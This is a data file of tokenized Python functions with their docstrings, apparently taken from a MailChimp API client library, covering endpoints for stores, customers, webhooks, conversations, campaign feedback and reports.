{"signature": "def all(self, store_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.product_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a store\u2019s products.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f270:c0:m2"}
{"signature": "def get(self, store_id, product_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', product_id), **queryparams)<EOL>", "docstring": "Get information about a specific product.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f270:c0:m3"}
{"signature": "def update(self, store_id, product_id, data):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>return self._mc_client._patch(<EOL>url=self._build_path(store_id, '<STR_LIT>', product_id),<EOL>data=data<EOL>)<EOL>", "docstring": "Update a product.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f270:c0:m4"}
{"signature": "def delete(self, store_id, product_id):", "body": "self.store_id = store_id<EOL>self.product_id = product_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', product_id))<EOL>", "docstring": "Delete a product.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param product_id: The id for the product of a store.\n:type product_id: :py:class:`str`", "id": "f270:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListGrowthHistory, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.month = None<EOL>", "docstring": "Initialize the endpoint", "id": "f271:c0:m0"}
{"signature": "def all(self, list_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.month = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get a month-by-month summary of a specific list\u2019s growth activity.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f271:c0:m1"}
{"signature": "def get(self, list_id, month, **queryparams):", "body": "self.list_id = list_id<EOL>self.month = month<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', month), **queryparams)<EOL>", "docstring": "Get a summary of a specific list\u2019s growth activity for a specific month and year.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param month: A specific month of list growth history.\n:type month: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f271:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Conversations, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.conversation_id = None<EOL>self.messages = ConversationMessages(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f272:c0:m0"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.conversation_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of conversations for the account.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['has_unread_messages'] = string\nqueryparams['list_id'] = string\nqueryparams['campaign_id'] = string", "id": "f272:c0:m1"}
{"signature": "def get(self, conversation_id, **queryparams):", "body": "self.conversation_id = conversation_id<EOL>return self._mc_client._get(url=self._build_path(conversation_id), **queryparams)<EOL>", "docstring": "Get details about an individual conversation.\n\n:param conversation_id: The unique id for the conversation.\n:type conversation_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f272:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListMemberTags, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f273:c0:m0"}
{"signature": "def update(self, list_id, subscriber_hash, data):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), data=data)<EOL>return response<EOL>", "docstring": "Update tags for a specific subscriber.\n\nThe documentation lists only the tags request body parameter so it is\nbeing documented and error-checked as if it were required based on the\ndescription of the method.\n\nThe data list needs to include a \"status\" key. This determines if the\ntag should be added or removed from the user:\n\ndata = {\n    'tags': [\n        {'name': 'foo', 'status': 'active'},\n        {'name': 'bar', 'status': 'inactive'}\n    ]\n}\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"tags\": list*\n}", "id": "f273:c0:m1"}
{"signature": "def all(self, list_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get all tags for a specific list member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`", "id": "f273:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(AutomationActions, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.workflow_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f274:c0:m0"}
{"signature": "def pause(self, workflow_id):", "body": "self.workflow_id = workflow_id<EOL>return self._mc_client._post(url=self._build_path(workflow_id, '<STR_LIT>'))<EOL>", "docstring": "Pause all emails in a specific Automation workflow.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`", "id": "f274:c0:m1"}
{"signature": "def start(self, workflow_id):", "body": "self.workflow_id = workflow_id<EOL>return self._mc_client._post(url=self._build_path(workflow_id, '<STR_LIT>'))<EOL>", "docstring": "Start all emails in an Automation workflow.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`", "id": "f274:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListWebhooks, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.webhook_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f275:c0:m0"}
{"signature": "def create(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT:url>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_url(data['<STR_LIT:url>'])<EOL>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.webhook_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.webhook_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new webhook for a specific list.\n\nThe documentation does not include any required request body\nparameters but the url parameter is being listed here as a required\nparameter in documentation and error-checking based on the description\nof the method\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"url\": string*\n}", "id": "f275:c0:m1"}
{"signature": "def all(self, list_id):", "body": "self.list_id = list_id<EOL>self.webhook_id = None<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'))<EOL>", "docstring": "Get information about all webhooks for a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`", "id": "f275:c0:m2"}
{"signature": "def get(self, list_id, webhook_id):", "body": "self.list_id = list_id<EOL>self.webhook_id = webhook_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', webhook_id))<EOL>", "docstring": "Get information about a specific webhook.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param webhook_id: The unique id for the webhook.\n:type webhook_id: :py:class:`str`", "id": "f275:c0:m3"}
{"signature": "def update(self, list_id, webhook_id, data):", "body": "self.list_id = list_id<EOL>self.webhook_id = webhook_id<EOL>return self._mc_client._patch(url=self._build_path(list_id, '<STR_LIT>', webhook_id), data=data)<EOL>", "docstring": "Update the settings for an existing webhook.\n\n:param list_id: The unique id for the list\n:type list_id: :py:class:`str`\n:param webhook_id: The unique id for the webhook\n:type webhook_id: :py:class:`str`", "id": "f275:c0:m4"}
{"signature": "def delete(self, list_id, webhook_id):", "body": "self.list_id = list_id<EOL>self.webhook_id = webhook_id<EOL>return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', webhook_id))<EOL>", "docstring": "Delete a specific webhook in a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param webhook_id: The unique id for the webhook.\n:type webhook_id: :py:class:`str`", "id": "f275:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListClients, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f276:c0:m0"}
{"signature": "def all(self, list_id, **queryparams):", "body": "self.list_id = list_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get a list of the top email clients based on user-agent strings.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f276:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportLocations, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f277:c0:m0"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get top open locations for a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f277:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportDomainPerformance, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f278:c0:m0"}
{"signature": "def all(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get statistics for the top-performing email domains in a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f278:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreOrderLines, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.order_id = None<EOL>self.line_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f279:c0:m0"}
{"signature": "def create(self, store_id, order_id, data):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>', order_id, '<STR_LIT>'))<EOL>if response is not None:<EOL><INDENT>self.line_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.line_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new line item to an existing order.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"product_id\": string*,\n    \"product_variant_id\": string*,\n    \"quantity\": integer*,\n    \"price\": number*\n}", "id": "f279:c0:m1"}
{"signature": "def all(self, store_id, order_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>self.line_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>', order_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', order_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about an order\u2019s line items.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f279:c0:m2"}
{"signature": "def get(self, store_id, order_id, line_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>self.line_id = line_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', order_id, '<STR_LIT>', line_id), **queryparams)<EOL>", "docstring": "Get information about a specific order line item.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param line_id: The id for the line item of a cart.\n:type line_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f279:c0:m3"}
{"signature": "def update(self, store_id, order_id, line_id, data):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>self.line_id = line_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', order_id, '<STR_LIT>', line_id), data=data)<EOL>", "docstring": "Update a specific order line item.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param line_id: The id for the line item of a cart.\n:type line_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f279:c0:m4"}
{"signature": "def delete(self, store_id, order_id, line_id):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>self.line_id = line_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', order_id, '<STR_LIT>', line_id))<EOL>", "docstring": "Delete a specific order line item.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param line_id: The id for the line item of a cart.\n:type line_id: :py:class:`str`", "id": "f279:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(CampaignFeedback, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.feedback_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f280:c0:m0"}
{"signature": "def create(self, campaign_id, data, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>if '<STR_LIT:message>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'), data=data, **queryparams)<EOL>if response is not None:<EOL><INDENT>self.feedback_id = response['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.feedback_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add feedback on a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"message\": string*\n}\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f280:c0:m1"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.feedback_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get team feedback while you\u2019re working together on a MailChimp\ncampaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f280:c0:m2"}
{"signature": "def get(self, campaign_id, feedback_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.feedback_id = feedback_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>', feedback_id), **queryparams)<EOL>", "docstring": "Get a specific feedback message from a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param feedback_id: The unique id for the feedback message.\n:type feedback_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f280:c0:m3"}
{"signature": "def update(self, campaign_id, feedback_id, data):", "body": "self.campaign_id = campaign_id<EOL>self.feedback_id = feedback_id<EOL>if '<STR_LIT:message>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(campaign_id, '<STR_LIT>', feedback_id), data=data)<EOL>", "docstring": "Update a specific feedback message for a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param feedback_id: The unique id for the feedback message.\n:type feedback_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"message\": string*\n}", "id": "f280:c0:m4"}
{"signature": "def delete(self, campaign_id, feedback_id):", "body": "self.campaign_id = campaign_id<EOL>self.feedback_id = feedback_id<EOL>return self._mc_client._delete(url=self._build_path(campaign_id, '<STR_LIT>', feedback_id))<EOL>", "docstring": "Remove a specific feedback message for a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param feedback_id: The unique id for the feedback message.\n:type feedback_id: :py:class:`str`", "id": "f280:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(OpenDetails, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f281:c0:m0"}
{"signature": "def all(self, campaign_id, get_all=False,  **queryparams):", "body": "self.campaign_id = campaign_id<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get detailed information about any campaign emails that were opened by a list member.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['since'] = str", "id": "f281:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ConversationMessages, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.conversation_id = None<EOL>self.message_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f282:c0:m0"}
{"signature": "def create(self, conversation_id, data):", "body": "self.conversation_id = conversation_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>'] not in [True, False]:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>response =  self._mc_client._post(url=self._build_path(conversation_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.message_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.message_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Post a new message to a conversation.\n\n:param conversation_id: The unique id for the conversation.\n:type conversation_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"from_email\": string*,\n    \"read\": boolean*\n}", "id": "f282:c0:m1"}
{"signature": "def all(self, conversation_id, **queryparams):", "body": "self.conversation_id = conversation_id<EOL>self.message_id = None<EOL>return self._mc_client._get(url=self._build_path(conversation_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get messages from a specific conversation.\n\nThis endpoint does not currently support count and offset, preventing\nit from having the get_all parameter that most all() methods have\n\n:param conversation_id: The unique id for the conversation.\n:type conversation_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = p[\nqueryparams['is_read'] = string\nqueryparams['before_timestamp'] = string\nqueryparams['since_timestamp'] = string", "id": "f282:c0:m2"}
{"signature": "def get(self, conversation_id, message_id, **queryparams):", "body": "self.conversation_id = conversation_id<EOL>self.message_id = message_id<EOL>return self._mc_client._get(url=self._build_path(conversation_id, '<STR_LIT>', message_id), **queryparams)<EOL>", "docstring": "Get an individual message in a conversation.\n\n:param conversation_id: The unique id for the conversation.\n:type conversation_id: :py:class:`str`\n:param message_id: The unique id for the conversation message.\n:type message_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f282:c0:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreCustomers, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.customer_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f283:c0:m0"}
{"signature": "def create(self, store_id, data):", "body": "self.store_id = store_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>'] not in [True, False]:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.customer_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.customer_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new customer to a store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"email_address\": string*,\n    \"opt_in_status\": boolean*\n}", "id": "f283:c0:m1"}
{"signature": "def all(self, store_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.customer_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a store\u2019s customers.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['email_address'] = string", "id": "f283:c0:m2"}
{"signature": "def get(self, store_id, customer_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.customer_id = customer_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', customer_id), **queryparams)<EOL>", "docstring": "Get information about a specific customer.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param customer_id: The id for the customer of a store.\n:type customer_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f283:c0:m3"}
{"signature": "def update(self, store_id, customer_id, data):", "body": "self.store_id = store_id<EOL>self.customer_id = customer_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', customer_id), data=data)<EOL>", "docstring": "Update a customer.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param customer_id: The id for the customer of a store.\n:type customer_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f283:c0:m4"}
{"signature": "def create_or_update(self, store_id, customer_id, data):", "body": "self.store_id = store_id<EOL>self.customer_id = customer_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>'] not in [True, False]:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._put(url=self._build_path(store_id, '<STR_LIT>', customer_id), data=data)<EOL>", "docstring": "Add or update a customer.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param customer_id: The id for the customer of a store.\n:type customer_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"email_address\": string*,\n    \"opt_in_status\": boolean\n}", "id": "f283:c0:m5"}
{"signature": "def delete(self, store_id, customer_id):", "body": "self.store_id = store_id<EOL>self.customer_id = customer_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', customer_id))<EOL>", "docstring": "Delete a customer from a store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param customer_id: The id for the customer of a store.\n:type customer_id: :py:class:`str`", "id": "f283:c0:m6"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListInterestCategoryInterest, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.category_id = None<EOL>self.interest_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f284:c0:m0"}
{"signature": "def create(self, list_id, category_id, data):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response =  self._mc_client._post(<EOL>url=self._build_path(list_id, '<STR_LIT>', category_id, '<STR_LIT>'),<EOL>data=data<EOL>)<EOL>if response is not None:<EOL><INDENT>self.interest_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.interest_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new interest or \u2018group name\u2019 for a specific category.\n\nThe documentation lists only the name request body parameter so it is\nbeing documented and error-checked as if it were required based on the\ndescription of the method.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f284:c0:m1"}
